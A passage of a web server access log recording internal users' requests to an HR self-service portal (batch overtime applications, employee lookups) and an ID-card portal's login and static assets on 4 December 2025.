"http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:42:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 192.168.11.55 - - [04/Dec/2025:08:42:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:42:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [04/Dec/2025:08:42:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18403006688027534 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:42:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18403006688027534 HTTP/1.1" 200 8908 192.168.11.55 - - [04/Dec/2025:08:42:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3642 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:42:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3642 192.168.11.55 - - [04/Dec/2025:08:42:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:42:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [04/Dec/2025:08:42:35 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18403006688027534 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18403006688027534" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:42:35 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18403006688027534 HTTP/1.1" 200 24852 192.168.11.55 - - [04/Dec/2025:08:43:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9886993616697497 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:43:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9886993616697497 HTTP/1.1" 200 8736 192.168.11.55 - - [04/Dec/2025:08:43:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9886993616697497 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9886993616697497" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:43:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9886993616697497 HTTP/1.1" 200 14154 192.168.11.135 - - [04/Dec/2025:08:43:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:43:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.135 - - [04/Dec/2025:08:43:17 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132719%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132719&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:43:17 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132719%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132719&target=iframe HTTP/1.1" 200 3251 192.168.11.55 - - [04/Dec/2025:08:43:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:43:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 192.168.11.55 - - [04/Dec/2025:08:43:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:08:43:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.146 - - [04/Dec/2025:08:43:20 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 192.168.11.146 - - [04/Dec/2025:08:43:20 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.11.146 - - [04/Dec/2025:08:43:21 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:21 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/login.swf HTTP/1.1" 200 2760 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/login.swf HTTP/1.1" 200 2760 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:08:43:22 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 192.168.11.146 - - [04/Dec/2025:08:43:25 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:25 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 192.168.11.146 - - [04/Dec/2025:08:43:28 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:28 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.146 - - [04/Dec/2025:08:43:28 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:28 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.146 - - [04/Dec/2025:08:43:28 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:28 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.146 - - [04/Dec/2025:08:43:34 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 192.168.11.146 - - [04/Dec/2025:08:43:34 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:08:43:35 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; 